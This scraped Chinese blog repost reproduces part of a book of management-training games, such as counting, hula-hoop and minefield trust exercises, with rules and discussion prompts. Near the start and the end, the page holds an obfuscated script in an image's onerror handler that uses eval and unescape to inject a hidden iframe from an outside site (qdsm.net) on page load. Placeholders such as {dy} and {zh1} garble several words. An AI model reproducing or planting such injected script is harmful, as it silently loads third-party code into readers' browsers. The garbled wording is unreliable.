管理培训游戏全书连载- 出国金融- boors - 和讯博客
管理培训游戏全书 连载 [转贴 2010-01-30 16:47:27]   
管理培训游戏全书 连载

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_468_60.html%20width%3D468%20height%3D60%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

昆季大成培训系列工具书--为企业提供自助式培训的系列工具!
《企业管理培训游戏全书》
昆季大成策划出版
定价:50.00
ISBN:780697153x
{dy}部分 破冰游戏
进化论
目标:以热闹激烈的活动使学员彼此熟悉;
说明:
英国有个xx的生物学家是谁?他最xx的学说是什么?所有的物种都是从什么开始进化的?从蛋开始的,蛋变成鸡,鸡进化成原始人,原始人进化成超人,超人进化成圣人(示范各种动作);
规则:相同物种才能竞争,不进则退;
操作:每个人都从蛋开始,蛋跟蛋竞争,赢的进化成鸡,输的变成蛋。鸡跟鸡竞争,赢的进化成原始人,输的变成蛋,不进则退。
变化:
1、 可以增加变化的级数,如鸡蛋以下可以增加阿米巴原虫等;
2、可思考不同的进化名称和动作;

集体握手
形式: 所有人围成两大圆圈,一个套在另一个里面进行自我介绍
类型: 破冰船
时间: 视人数而定
道具: 无需
场地: 空地
活动目的: 让与会人员认识至少一成以上的其他与会人员



操作程序: 请所有人围成两个大圆圈,一个套在另一个里面。内圈的人转过身来,面对外圈的人,迅速地彼此进行自我介绍,然后向右移动。外圈的人持续左移,内圈的人持续右移,直到一个圈的每个人对另一个圈的所有人都做了自我介绍。(注意:本游戏应用于100人或少于100人的团体最为有效。)



四分之一感觉 目的:使学员在刚刚开始的时候就能够主动同别人接触交流,达到相互熟悉增进了解的目的。
准备:卡片
操作过程:
1、大家在进入会场时,领到了一张卡片,但只是四分之一张卡片,进入会场后,需要去寻找其他三位会员手中的卡片,将其拼合成一副完整的图片。
2、大家要积极地寻找陌生人,询问、展示、合作,最终才能达成“联盟”,只有找到其他的三位朋友,才可以找一个位置坐下来。
3、把组合成的图片放置到桌面前方。并要迅速熟悉本小组成员。
Take the Challenge!
人数:每组五人或到十五人
场地:不限
道具:笔,纸
游戏方法:
1. 分组,不限几组,但每组必须五人或到十五人。
2. 发给每组一张纸和一只笔。五分钟内要每组写出不种不同的挑战项目。
3. 这些项目必须是自已能完成的项目。可以是关于体能上的项目:造出个金字塔;有一个人可以抬起另外五个人;或是其它:我们这组有最多在同一月生日的人;我们这组可以唱出任何电视剧歌曲等。
4. 这些项目不能有一看就知道别组没法完成的项目:我们这组有人的头发长度是全体人最长的等。
5. 等到大家都写完后,每一组轮流先做出他们自已的挑战项目,然后要其它的组试着在一定时间中做出。
人体相机
活动规则:
1. 两人一组,由学员自行选定一位伙伴,并决定谁先扮演相机,另一位则扮演摄影师
2. 扮演相机者的眼睛代表镜头,耳朵代表快门按钮;摄影师请站在相机后方(面向扮演相机者的背部)
3. 角色选定后,由摄影师按着相机的肩膀引导到各处取景;在按快门拍照前,相机的眼睛都是闭着,当摄影师按下快门后,相机的眼睛即快速打开记录约一秒然后闭上,再由摄影师引导至他处取
4. 摄影师完成照片记录后,两人角色互换
5. 在取景的过程中,请注意安全
活动分享:
1. 通常此活动会安排在课程的{zh1},透过活动让学员对当次的学习过程做及时的回顾与归纳,此时可设定学员拍摄张数,并给予拍摄主题:⊙例如邀请学员每人拍摄2张照片:一张是这次学习过程中,对自己影响最深(或最有意义的)的是?另一张是在这次的学习过程中,最想送给团队的一张照片?拍摄照片时,摄影师对扮演相机者描述照片的意义,再由相机的角色口述此张照片。
2. 另外一种方式是采取多张数的拍摄方式(张数多寡训练员可设定),相机只需单纯且忠实的纪录影像,眼睛看到什么就记什么(就像一张白纸,没有任何先入为主的观念)。以这种方式实际体会“不带有偏见的看待事物”~透过他人的观点,没有预设立场的“看见”,真正的了解什么才是事物的“真相”。当人在面临一个新的问题时,能不带任何偏见(经验),才会真正看到“问题”的真相、创意得以发挥,问题才能被解决。
更多精彩内容将陆续上传!!!谢谢xx!


------------------

第二部分 团队游戏
默契报数
目标:体验团队的默契
规则:
1、 谁都可以开始;
2、 同一个人不可连续重复报数;
3、 成员间不可以沟通、提醒、暗示或使眼色;
4、 若有两人同时或多人共同报数,则重来;
5、 以不超过三十分钟为原则;
6、 每组五到十五人;
操作:
1、 让所有成员围成一个大圆圈;
2、 所有人同时面向圆心,分别往圆内走五步,碰到人则让开继续走,可根据情况走(比如两步);
3、 走完五步则立定,然后开始报数,从1开始(以上为混乱顺序的方式,也可以请所有人以逛大街的方式,随处走动)
4、 不限制报数的前后顺序,一切由彼此默契决定;
5、 若有成员报相同数目则重来;
6、 直到所有数目都被报过且没有重复,则任务完成;
引导讨论:
1、 你刚刚有什么感觉吗?
A、 适时勇敢报数;
B、 找到自己的位置,就像1-7的数字到后来都有固定的人报;
2、 过程中,你感受到什么?
A、 聪明!因为从1-7固定之后的数字,大家都不敢乱喊。
B、 有一种灵气在我们之间流动;
C、 我觉得我在这样的团队,我感到有一种自豪的感觉;
3、 这个游戏,能让大家明白什么是默默契了吗?
A、 默挈需要一定的忍耐;
B、 也需要一点勇气;
4、 你们觉得在组织内要如何培养默挈呢?
A、 经常沟通与协调是非常重要的;
心得分享:
1、 请成员思考,在组织中有没有像这样的灰色地带?(比如:少做少错,多做多错,不做不错的心理,让大家对于没有划分明确、指定分派的工作,多数人不愿意主动去负责和分担。)
2、 组织内如何创造出一种环境,让大家打破“多做多错,少做少错“的不负责任心理?
A、 上司要以身作则,不批评、不责备、不抱怨。
固若金汤
一、游戏目的:
通过游戏使学员了解团队成员相互支持的重要性。
二、游戏程序
1、概念与活动说明
通过游戏的过程使学员理解传统文化向团队文化转变的方向,等级文化向平等文化迈进;分裂状态转变为结合状态;独立状态转变为互为依靠状态等。
2、带领学员到预定场地。
3、视学员人数情况、场地情况将学员分为10-20人一组。
4、以小组为单位,小组成员手拉手形成一个转动的圆圈,同时所有成员身体后仰,并静止1-3分钟。
5、小组成员报数,各自记住自己的号码,奇数成员身体后仰,偶数成员身体前倾,并静止几分钟。
6、小组成员前后站立形成一个圆圈,后面的队员将手搭在前面成员的肩上,连成一个整体,成员在培训师发出指令后起步走,使小组成员越走越紧密,接近一个圆为止。
7、培训师发出新的指令,奇数成员将右腿稍迈向前方的形式下蹲,偶数成员坐在奇数成员的大腿上,并保持数分钟。坚持到{zh1}者为胜方。
8、学员对活动的过程谈谈感触,进行心得分享
9、统整:团队的先进文化有哪些;作为团队成员要有哪些团队协作的精神?
三、游戏规则:
1、({dy}步)同一组的成员手拉手围成一个圈并且顺时针方向转动。
2、({dy}步)转动时基本形成一个圆圈后,静止,所有成员身体后仰(1-3分钟)。
3、(第二步)小组成员报数,各自记住自己的号码,奇数成员后仰,偶数成员身体前倾。(静止1-3分钟)。
4、(第三步)后面的队员将手搭在前面成员的肩上,连成一个整体,成员在培训师发出指令后起步走,使小组成员越走越紧密,接近一个圆为止。
5、(第四步)成员将右腿稍迈向前方的形式下蹲,前面成员坐在后面成员的大腿上,并保持数分钟。坚持到{zh1}者为胜方。
四、游戏准备:
了解场地情况;想象活动中有可能出现的关于团队文化的特殊事件。
五、注意事项:
注意学员的安全。

------------------

责任
操作方法:
1、 每队4个人,两人相向站着,另外两人相向蹲着,一个站着和蹲着的人是一边;
2、站着的两个人进行猜拳,猜拳胜者,则由猜拳胜者蹲着的人去刮对方输的蹲着人的鼻子;3、输方轮换位置,即站着的人蹲下,蹲着的人站起来;继续开始下一局;
游戏点评:
1、 如何看待责任?
2、 当别人失败的时候,有没有抱怨?
3、两个人有没有同心协力对付外面的压力?
众志成城
活动目标:
让学员体认合作的重要,藉团体合作与思考达到解决问题的目的,并体会个人在团体的重要。
活动对象:适合各种人
活动时间:30-40分钟
活动材料:报纸数张
活动程度:
1、 导师先将全班分成几组,每组约十人。
2、 导师分别在不同的角落(依组数而定)地上铺一张全开的报纸,请各组成员均进入报纸上,无论用任何方式都可以,就是不可以脚踏报纸之外。
3、 各组完成后,导师再请各组将报纸对折后,再请各组成员进入报纸上。各组若有成员被挤出报纸外,则该组淘汰不得再参加下一回合。
4、 上述进行至淘汰到{zh1}一组时结束。(勿过长),时间到换下一位上场,至轮完为止。(以上约30分钟)
5、 分享与回馈:请各位成员围坐成一圈,讨论刚才之过程并分享心得。
6、 导师结论参考:
(1) 要求得团体或班级的成功或胜利,惟有透过合作才能众志成城。合作乃在团体贡献一己之力,并截长补短,同心协力共同创造团体成功之机会。
(2) 解决问题时可藉团体合作与思考达到目的,每个个人在团体中都有一定的重要性。
7、注意事项:(1)注意成员安全。(2)考虑异性成员一起参与的可能性,必要时可男女分组进行。
http://www.dachengbook.com/List.asp?id=1123

------------------

星际之门
内容说明:
人与人之间通过沟通互相了解,达成共识。此游戏旨在检视一个团队中人员彼此沟通的状况,同时帮助畅通沟通渠道,以推动今后的相互协作。  
目标:使学员彼此以语言沟通,完成低难度活动。
教具:呼啦圈两个。
规则:所有学员手拉手围成一圈,用呼啦圈穿过所有人的身体回到原位。在活动过程中,只能以语言为工具,相互拉着的手不能放开,也不能用手指去勾呼啦圈。计时,可多玩几次,看最快用了几秒完成。  
讨论:  
1. 各位刚才是如何完成目标的?  
2. 刚才最关键的改善动作是什么?  
3. 大胆请教各位,平时工作中是否也能这样互动,相互模仿学习,形成公式?  
4. 你认为刚才的活动过程中对团队最有帮助的一点是什么?  
变化:可以思考以不同方式传递呼啦圈。  
地雷阵
目标:使学员在活动中建立及加强对伙伴的信任感。
教具:界限绳一条、障碍物若干。
规则:
用绳子在一块空地圈出一定范围,撒满各式玩具(如娃娃、球等)作障碍物。学员两人一组,一人指挥,另一人蒙住眼睛,听着同伴的指挥通过地雷阵,过程中只要踩到任何东西就要重新开始。指挥者只能在线外,不能进入地雷阵中,也不能用手扶伙伴。  
讨论:  
1. 请问各位在通过地雷阵的时候有什么感觉?  
2. 平时你在跟其他人互动时是否需要刚才所讲的想法、做法?  
3. 若再有一次机会,我们还可以加强些什么?  
注意:  
1. 不可用尖锐或坚硬物作障碍物。  
2. 不可在湿滑地面进行。  
3. 需注意两位蒙眼者是否对撞。  
趣味跳绳
大家都跳过绳吧,在玩的时候会发生很多事,不同的人会有不同反应,为什么呢?这是一个典型的团队活动,需要大家共同配合,怎样取得{zj0}合作效果?这些问题,您是否想过。让我们带着这些问题,再玩一次跳绳。  
教具:粗棉绳一条。
目标:使学员互助合作形成共识,完成低难度活动。  
规则:请两个人各握住绳子的一端,其他人要一起跳过绳子,所有人都跳过算一下,数一数整个团队总共能跳多少下。  
讨论:  
(1) 当有人被绊倒时,各位当时发出的{dy}个声音是什么?  
(2) 发出声音的人是刻意指责别人吗?  
(3) 想一想自己是否不经意就给别人造成压力?  
(4) 接下来我们应该怎么做,刚才的感觉才不会发生?  
注意:  
(1) 提醒膝盖或脚部有伤者,视情况决定是否参与。  
(2) 场地宜选择户外草地进行,以免受伤。  
(3) 合组跳绳时应注意伙伴位置及距离,以免踏伤伙伴或互相碰撞。  
变化:  
(1) 可考虑不同的跳绳方式,如:每个学员依序进入。  
(2) 可用两条绳子,或变换用绳方向。  
圆球游戏
游戏规则:
1、 所有的人分成三组,每个小组约20人,分别配有1、2、3号球
2、 游戏要求将球按1、2、3号的顺序从发起者手里发出,{zh1}按此顺序回到发起者手里。在传递过程中,每一人都必须触及到球,所需时间最少的获胜。
3、 球掉在地上一次额外加10秒
培训师必读:
1、 游戏开始时,三组人一般会不约而同地围成了三个圈,一个接一个地传递,计下三组的成绩,例如分别为17秒、18秒和50秒。
2、“有没有更好的办法让时间变得更短些?这个游戏的{zh0}成绩为8秒。”培训师可以向所有小组提出挑战。(参考思路:用手围成一个圆筒状,让三个球分别从上面滑下,所用时间仅为4秒!这是一个绝妙的想法!当然可能还有更快的方法,培训师需要不断启发学员去思考新的方法。)
培训师点评:  
有的队员在看到成绩连自己都不敢相信--“开始觉得三十秒已是不可思议的!”“能不能再快些?”一个又一个想法从队员们的脑中蹦出来,游戏过程中不断传来喜讯……"9秒"、"5秒"、"4秒",最快的居然只用了0.58秒!通过这个游戏让学员感受到:每一件看似不可能的事情摆到面前时,这种“不可能”的心理定势,使每个人都会想到放弃。做了才能成功,但最终的成功不是因为你做了,而取决于你怎样去做。发挥团队智慧,集合团队的创意,一件不可能完成的事情奇迹般的成功了,这就是团队的力量!思维可以指导人们的行动,同时也约束人们的行动。要想成功唯有敢于超越自己的思维。  对一家企业而言,也许你的条条框框为你的发展立下了汗马功劳,但一味的遵循就易沦为守旧。为员工建立一种启发创造性和"冲破框架"的环境条件:鼓励创新精神,从而开发突破性的解决方案与策略,也就为企业创造更多地意想不到的机会。
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src="http://www.dachengbook.com/bookpic/2006111820172383603.jpg">

------------------

翻叶子
道具:依人数多少给予大、中、小的塑胶帆布
说明:参加游戏的人都必须站在塑胶帆布上,然后需要将塑胶帆布翻过来。
规则:
1、所有人都必须站在叶子上(包含讨论)
2、 只要有人的身体任何部分碰触到地面就要重来
讨论:
1、 我们怎么办到的?在过程中听到什么?有何感受?
2、 各位觉得叶子象什么?而整个过程又是什么?
3、 在生活中有无类似感受?
4、从过程中你学到什么?。
航空公司的经营游戏
游戏方法:
1、 将学员分成5-6个组,每个组将分别代表一家航空公司在市场经营;
2、 市场经营的规则就是:所有航空公司的利润率都维持在9%;如果有三家以下的公司采取降价策略,降价的公司由于薄利多销,利润率可达12%,而没有采取降价策略的公司利润率则为6%;如果有三家和三家以上的公司同时降价,则所有公司的利润都只有6%
3、 每个小组派代表叫到小房间里,交代上述游戏规则。并告诉小组代表,你们需要初步达成协商。初步协商之后小组代表回到小组,并将情况向小组汇报;
4、 小组经过讨论五分钟之后,需要作出最终的决策:降还是不降?并将决定写在纸条上,同时交给讲师。
5、讲师公布结果
点评:
1、 本游戏看似简单,但结果往往出人意料但又在意料之中,因为大部分公司都会选择降价,结果降价会导致两败拒伤;
2、 还告诉我们两个道理:
1) 不要假定竞争对手比你傻;
2)不要打价格战,因为价格战没有赢家;

核弹头
形式:12人一组为{zj0}
类型:问题解决,团队合作
时间:30分钟
材料及场地:25米长的绳子一条,20米长的绳子2条,水桶一只,短竹2条,砖头1个及空地
游戏目的:让学员体验自己团队解决问题的能力,计划能力及团队合作精神。
操作程序:
1、 培训师让学员把25米长的绳拉成一个圈,并把水桶装9成满的水放在圆圈的中间,用砖头把水桶垫起来。
2、 培训师开始给学员们讲下面一段故事:“在伊拉克的一个山村中有一枚没有引爆的核弹头,给该地区造成了威胁。你们作为美国的特工人员将去该地区取出核弹头,并进行引爆。圆圈内为辐射区,所有人员都不得进入圈中,2条20米长的绳子及2条竹子为防辐射物品,故可以进入辐射区,但不能碰到地上。”
3、 全团成员必须在30分钟内把水桶提出,水不能洒出来。
有关讨论:
1、 全队中共出现多少个主意,为什么采纳了现在所使用的主意来执行任务?
2、 在全过程中你认为{zj0}表现在哪里,团队的合作精神体现在哪里?
3、 团队在解决问题时,采取的是什么步骤,这些步骤有什么地方可以改进?
平结绳圈
道具:准备长短不一的绳子若干条(依人数而定)
说明:
1、 训练师将平结的打法教会学员,(注意平结是一种绳子的活结打法,节点可以任意伸缩)2、 学员将平结打好后成一绳圈,放在地上,然后学员将脚放在绳圈之内
3、 训练师提醒学员:“你们的脚在绳圈之内了吗?确认安全了吗?”
4、 学员确认之后,训练师说:“开始换位”,学员全部离开自己的绳圈并到其他的绳圈之内;三次之后,开始逐渐减少绳圈的数量,每次减少一个,并经常提醒学员:“你们的脚在绳圈之内了吗?确认安全了吗?”;但要求就是所有学员不得在绳圈之外。(可能是几个人同时挤在同一个绳圈里)
5、 到{zh1}只剩下一个绳圈的时候,所有人都站在一个绳圈里,不段缩小圆圈,直到所有人都紧紧挤在一起;游戏{dy}阶段结束
6、 游戏第二阶段:当训练师不断地将绳圈缩小至极限范围,并不断询问所有人有没有信心挑战极限。学员不断地会进行挑战,当到达极限的时候,往往会出现一些意想不到的结果:比如,有人会提示出我们有没有办法寻找新的思路来挑战极限。记住,培训师要注意把握学员的场上气氛,及时加以引导。如果学员没有办法解决问题的时候,培训师视情况将解决方法公布——所有学员可以坐在地上,将脚放在绳圈内,就符合游戏的要求:“脚在绳圈之内”游戏点评:该游戏可以分为两个阶段:{dy}阶段可从团队的角度挖掘游戏的内涵;第二阶段可以从创新的角度挖掘游戏的内涵。培训师应注意把握分寸,否则会起不到游戏的效果。
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src="http://www.dachengbook.com/bookpic/200652910203176785.jpg">0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src="http://www.dachengbook.com/bookpic/200652910333710421.jpg">0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src="http://www.dachengbook.com/bookpic/200652218335616664.jpg">0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src="http://www.dachengbook.com/bookpic/2006612210091770.jpg">0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src="http://www.dachengbook.com/bookpic/20065221895263637.jpg">

------------------

谢谢楼主!

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_336_280.html%20width%3D336%20height%3D280%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【管理培训游戏全书连载- 出国金融- boors - 和讯博客】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——